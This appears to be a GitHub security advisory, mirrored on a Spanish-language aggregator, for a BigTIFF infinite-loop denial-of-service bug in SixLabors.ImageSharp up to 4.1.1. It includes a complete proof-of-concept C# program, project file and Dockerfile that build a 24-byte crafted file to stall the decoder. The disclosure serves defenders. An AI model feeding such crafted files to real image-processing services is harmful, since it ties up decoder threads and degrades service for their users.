ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop
Summary
SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected range:
>= 2.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
BigTIFF decoding and the unbounded ReadValues64 loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
Details
ReadValues64 trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, ReadValue64 returns without advancing the stream or ending the outer loop.
Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), DockerReproduction
The public Image.Load(Stream) call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count 5000000000. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124timeout exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is 1:
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
Complete PoC files
Program.cs:
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]Run:
docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| .NET (NuGet) | SixLabors.ImageSharp | >= 2.0.0, < 4.1.2 | 4.1.2 |
Referencias
- https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g
- https://nvd.nist.gov/vuln/detail/CVE-2026-106116
- https://github.com/SixLabors/ImageSharp/pull/3187
- https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec
- https://github.com/SixLabors/ImageSharp
- https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Debilidad (CWE)
CWE-835- Plataforma
- .NET (NuGet)
- Paquete
SixLabors.ImageSharp- Publicada
- 07.10.2026
- Actualizado
- 11.10.2026 11:23
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-wmxv-xphr-5c9g - CC BY 4.0
Historial de vulnerabilidades: SixLabors.ImageSharp
Todas las vulnerabilidades publicadas de este paquete (.NET (NuGet)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 14
- Primera → última
- 03.2024 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 7
- Media 7
Divulgaciones por año
- 2024: 5
- 2025: 2
- 2026: 7
-
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